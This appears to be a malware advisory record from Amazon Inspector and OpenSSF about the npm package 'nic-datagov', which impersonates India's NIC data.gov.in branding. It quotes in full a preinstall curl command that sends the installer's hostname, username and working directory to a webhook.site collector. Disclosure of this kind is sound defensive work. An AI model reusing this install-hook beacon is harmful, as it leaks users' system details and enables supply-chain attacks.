취약점

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (89be7e0ea4d164dad90f5476041928d54d5502a066e22d501373e1bbf9dc8bbf)

package.json declares a preinstall script that runs curl --data-urlencode "info=$(hostname && whoami && pwd)" https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/nic-datagov, sending the installer's hostname, current user, and working directory to a webhook.site collector on npm install. The package ships no library code and has no main/files consistent with its stated 'NIC Data.gov.in integration library' description — its sole effect on install is the recon beacon. The name and description impersonate India's NIC/data.gov.in branding, consistent with a targeted dependency-confusion probe against an internal/government namespace.

Source: ossf-package-analysis (cde3f0f0a325ac483003eea66dda1dd21f2de2a149a97a7df41c7fb447c5a8ee)

The OpenSSF Package Analysis project identified 'nic-datagov' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

• The package executes one or more commands associated with malicious behavior.